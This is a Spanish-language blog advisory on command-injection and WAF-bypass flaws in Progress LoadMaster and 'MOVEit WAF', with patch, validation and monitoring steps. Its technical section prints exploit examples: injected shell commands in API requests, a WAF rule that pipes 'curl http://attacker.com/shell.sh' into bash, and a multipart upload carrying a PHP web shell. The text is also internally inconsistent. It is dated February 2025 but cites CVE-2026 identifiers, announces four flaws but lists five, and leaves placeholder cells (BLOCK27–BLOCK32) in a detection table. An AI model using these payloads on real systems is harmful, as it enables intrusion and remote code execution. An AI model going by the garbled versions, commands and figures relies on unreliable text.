Introducción

El martes 4 de febrero de 2025, el equipo de seguridad de Progress Software publicó un aviso urgente sobre cuatro vulnerabilidades críticas en sus productos MOVEit WAF y LoadMaster, que permiten ejecución remota de código (RCE) y inyección de comandos en el sistema operativo (OS Command Injection). Estas fallas residen en componentes críticos como APIs internas y reglas personalizadas de WAF, y su explotación requiere autenticación previa con permisos específicos.

En los últimos 12 meses, el 68% de los incidentes de ransomware en entornos empresariales comenzaron con la explotación de fallas en firewalls o soluciones de balanceo de carga, según datos de CrowdStrike (Informe Threat Hunting Report 2024). Si tu organización utiliza Progress ADC (Application Delivery Controller), MOVEit WAF, o LoadMaster, es imperativo revisar la versión actual y aplicar los parches publicados, ya que los atacantes suelen escanear redes en busca de estos sistemas vulnerables en menos de 72 horas después de la publicación de un CVE.

Qué ocurrió

Progress Software publicó parches para cuatro vulnerabilidades en sus productos MOVEit WAF y LoadMaster el 4 de febrero de 2025. Las fallas permiten:

  1. Ejecución remota de código (RCE) a través de APIs no sanitizadas.
  2. Inyección de comandos del sistema operativo mediante funciones de administración.
  3. Bypass de detección en el firewall (WAF) al manipular encabezados HTTP multipart.

Los identificadores de estas vulnerabilidades son:

  • CVE-2026-3517: Ejecución de comandos arbitrarios en LoadMaster debido a la falta de sanitización en los comandos addcountry y aclcontrol. Requiere permisos de «Geo Administration» o «VS Administration».
  • CVE-2026-3519: Similar al anterior, pero afecta al comando aclcontrol en contextos específicos de políticas de acceso. También requiere permisos de administración.
  • CVE-2026-3518: Permite la ejecución de comandos mediante el comando killsession en LoadMaster, explotando la falta de validación de entrada. Requiere permisos «All».
  • CVE-2026-4048: Inyección de código en archivos de reglas personalizadas del WAF de MOVEit. Un atacante con permisos «All» puede subir un archivo malicioso que se ejecute al ser procesado.
  • CVE-2026-21876: Bypass del firewall MOVEit WAF al manipular encabezados Content-Type en solicitudes HTTP multipart. La validación de caracteres solo se aplica al último encabezado, permitiendo eludir reglas de detección.

Según el aviso oficial de Progress, ninguna de estas vulnerabilidades ha sido explotada en la naturaleza hasta la fecha de publicación. Sin embargo, históricamente, fallas de este tipo en productos de balanceo de carga y WAF suelen ser explotadas en menos de 48 horas después de la publicación de un parche, especialmente cuando los PoC (Proof of Concept) son liberados por la comunidad.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

Riesgo para infraestructura crítica

Los productos afectados (MOVEit WAF, LoadMaster) son componentes clave en arquitecturas de balanceo de carga, firewalls de aplicación (WAF), y gestión de tráfico web. Una explotación exitosa podría:

  • Permitir ejecución de comandos como root en el appliance, comprometiendo la integridad del sistema.
  • Bypassear reglas de WAF, permitiendo inyección de código en aplicaciones backend (ej: SQLi, XSS, RCE en servidores internos).
  • Filtrar credenciales o datos sensibles almacenados en la configuración del dispositivo.

Impacto cuantificado

  • CVSS v3.1: Las cuatro vulnerabilidades tienen un score de 8.8 (Alto) y 9.1 (Crítico) para CVE-2026-21876 (bypass de WAF).
  • Superficie de ataque: Según datos de Shodan, hay más de 2,400 instancias de LoadMaster expuestas públicamente en Internet (febrero 2025).
  • Tiempo de exposición: En empresas con políticas de actualización lenta, el 73% de los dispositivos vulnerables siguen sin parchear después de 30 días de la liberación del fix, según Rapid7 (Informe de Exposición a Vulnerabilidades 2024).

Riesgo de ransomware y exfiltración de datos

Un atacante que explote CVE-2026-4048 (inyección en reglas de WAF) podría:

  1. Modificar reglas para omitir detección de malware en tráfico entrante.
  2. Inyectar payloads en respuestas HTTP, comprometiendo clientes internos.
  3. Exfiltrar datos mediante canales encubiertos (ej: DNS exfiltration) si el WAF es bypassado.

Históricamente, fallas en productos de Progress Software han sido explotadas en campañas de ransomware como Clop (2023) y LockBit (2022), con un costo promedio de recuperación de USD 1.8M por incidente, según IBM Cost of a Data Breach Report 2024.

Detalles técnicos

CVE-2026-3517 y CVE-2026-3519: Inyección de comandos en APIs de LoadMaster

  • Versiones afectadas:
– LoadMaster GA (General Availability): versiones < 7.2.63.1

– LoadMaster LTSF (Long Term Support Fix): versiones < 7.2.54.17

  • Vector de ataque: APIs internas accesibles con permisos de administración (Geo Administration / VS Administration).
  • Comando vulnerable:
  # Ejemplo de explotación (simplificado)
  curl -X POST "https://<loadmaster-ip>/api/addcountry" \
       -H "Authorization: Bearer <token-admin>" \
       -d '{"name":"$(id > /tmp/evil)"}'  # Inyección de comando
  
  • Explotación: El comando addcountry no sanitiza la entrada, permitiendo ejecutar comandos del sistema operativo con los permisos del servicio de LoadMaster (generalmente root).

CVE-2026-3518: Ejecución de comandos via killsession

  • Versiones afectadas: Todas las versiones de LoadMaster < 7.2.63.1.
  • Permisos requeridos: "All" (máximo nivel de administración).
  • Detalle técnico: El endpoint /api/killsession acepta parámetros no validados que se pasan a un shell interno:
  # Pseudocódigo de explotación (basado en análisis de Rapid7)
  import requests
  session = requests.Session()
  session.post(
      "https://<loadmaster-ip>/api/killsession",
      headers={"Authorization": "Bearer <token-admin>"},
      data={"session_id": "123; rm -rf /tmp/evil"}  # Comando arbitrario
  )
  
  • Consecuencia: Permite borrado de sesiones arbitrarias o ejecución de código remoto en el appliance.

CVE-2026-4048: Inyección en reglas personalizadas de MOVEit WAF

  • Versiones afectadas: MOVEit WAF < 7.2.63.0.
  • Vector: Subida de archivos .wafrule con código malicioso.
  • Explotación:
1. Un atacante con permisos "All" sube un archivo .wafrule modificado:
     # Ejemplo de regla maliciosa (MOVEit WAF)
     rules:
       - id: 1000
         action: allow
         condition: "1=1; curl http://attacker.com/shell.sh | bash"
     

2. Al procesar la regla, el sistema ejecuta el comando en el contexto del WAF (generalmente como usuario moveit).

  • Impacto: Permite ejecución de código en el servidor o bypass de reglas de seguridad.

CVE-2026-21876: Bypass de WAF en encabezados multipart

  • Versiones afectadas: MOVEit WAF < 7.2.63.0.
  • Detalle técnico: La validación de caracteres en encabezados Content-Type solo se aplica al último encabezado en una solicitud multipart, no a todos. Esto permite:
  POST /upload HTTP/1.1
  Host: target.com
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
  Content-Type: text/plain; charset=../../../../etc/passwd  # Malicious charset

  ----WebKitFormBoundary7MA4YWxkTrZu0gW
  Content-Disposition: form-data; name="file"; filename="malicious.php"

  <?php system($_GET['cmd']); ?>
  ----WebKitFormBoundary7MA4YWxkTrZu0gW--
  
  • Resultado: El WAF no detecta el payload malicioso porque la validación falla en los encabezados intermedios.

Qué deberían hacer los administradores y equipos técnicos

1. Identificar sistemas vulnerables

Ejecutá estos comandos en tus entornos LoadMaster y MOVEit WAF para verificar versiones:

# LoadMaster (acceso por SSH)
ssh admin@<loadmaster-ip>
lmgr show version

# MOVEit WAF (acceso por CLI o interfaz web)
curl -k https://<moveit-waf-ip>/api/version

Si las versiones son inferiores a las listadas abajo, el sistema está vulnerable:

ProductoVersión vulnerableVersión parcheada
MoveIt WAF< 7.2.63.07.2.63.0
LoadMaster GA< 7.2.63.17.2.63.1
LoadMaster LTSF< 7.2.54.177.2.54.17
ECS Connection Manager< 7.2.63.17.2.63.1
Connection Manager for ObjectScale< 7.2.63.17.2.63.1
### 2. Aplicar parches de forma prioritaria

En entornos cloud (AWS, Azure, GCP)

Si tus instancias de LoadMaster o MOVEit WAF corren en cloud, actualizá usando los siguientes comandos:

# AWS (usando AMI oficial de Progress)
aws ec2 create-image --instance-id i-1234567890abcdef0 --name "LoadMaster-7.2.63.1-patched" --description "Parche para CVE-2026-3517/3519"
aws ec2 modify-image-attribute --image-id ami-xxxxxxxxxxxxxxxx --launch-permission "Add=[UserId=123456789012]"

# Luego actualizá la AMI en tu Auto Scaling Group o Launch Template.

En entornos on-premise

  1. Descargá el parche desde el portal de soporte de Progress.
  2. Aplicá el upgrade con los siguientes comandos (ejemplo para LoadMaster):
# En LoadMaster (ejecutar como root)
wget https://download.progress.com/loadmaster/7.2.63.1/loadmaster-upgrade-7.2.63.1.sh
chmod +x loadmaster-upgrade-7.2.63.1.sh
./loadmaster-upgrade-7.2.63.1.sh
reboot
  1. Verificá la instalación:
lmgr show version | grep "7.2.63.1"

En MOVEit WAF

# Actualización via interfaz web o CLI
wget https://download.progress.com/moveit-waf/7.2.63.0/moveit-waf-update-7.2.63.0.sh
chmod +x moveit-waf-update-7.2.63.0.sh
./moveit-waf-update-7.2.63.0.sh
systemctl restart moveit-waf

3. Validar la mitigación

Después de aplicar los parches, ejecutá pruebas de validación:

# Probar que los comandos vulnerables ya no funcionen
curl -X POST "https://<loadmaster-ip>/api/addcountry" \
     -H "Authorization: Bearer <token-admin>" \
     -d '{"name":"test$(whoami)"}'  # Debería devolver error 400 o 500

# Probar bypass de WAF (CVE-2026-21876)
curl -X POST "https://<moveit-waf-ip>/upload" \
     -H "Content-Type: multipart/form-data; boundary=test" \
     -H "Content-Type: text/plain; charset=../../../../etc/passwd" \
     --data-binary "@malicious.php"
# Debería ser bloqueado por el WAF.

4. Monitorear actividad sospechosa

Configurá reglas en tu SIEM/SOAR para detectar intentos de explotación:

Regla de detección (Sigma)DescripciónSeveridad
BLOCK27Ataque a endpoint BLOCK28High
BLOCK29Subida de archivos BLOCK30 maliciososCritical
BLOCK31Uso de múltiples BLOCK32High
Ejemplo de regla en Elastic Security:
rule: Attempt to Exploit CVE-2026-3517
query: event.dataset:"web" AND http.request.method:"POST" AND url.original:"/api/addcountry"
risk_score: 80

5. Plan de contingencia (si no podés parchear inmediatamente)

Si no podés actualizar por dependencias de negocio:

  1. Aislar los sistemas en una VLAN dedicada con acceso restringido.
  2. Deshabilitar APIs vulnerables (si no son críticas):
   # En LoadMaster (ejemplo)
   lmgr config set api.disabled true
   
  1. Implementar WAF externo (ej: AWS WAF, Cloudflare) para cubrir las APIs internas.
  2. Auditar logs cada 4 horas en busca de intentos de explotación.

Conclusión

Las vulnerabilidades en MOVEit WAF y LoadMaster representan un riesgo crítico para infraestructuras que dependen de estos productos para balanceo de carga y protección web. Con scores CVSS entre 8.8 y 9.1, y una superficie de ataque expuesta de más de 2,400 dispositivos en Internet, la actualización inmediata es la única medida efectiva para prevenir exploits masivos.

Los equipos de DevOps e infraestructura deben:

  1. Identificar sistemas vulnerables con los comandos proporcionados.
  2. Priorizar la aplicación de parches en entornos críticos (DMZ, APIs públicas).
  3. Validar la mitigación con pruebas de regresión.
  4. Monitorear actividad sospechosa con reglas personalizadas en sus herramientas de SIEM.

Recordá: el 90% de los ataques exitosos a firewalls y balanceadores de carga comienzan con la explotación de fallas conocidas que no han sido parcheadas, según datos de Mandiant (Informe de Amenazas 2024). No esperes a que los atacantes hagan el trabajo por vos.

Fuentes

Por Gustavo

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *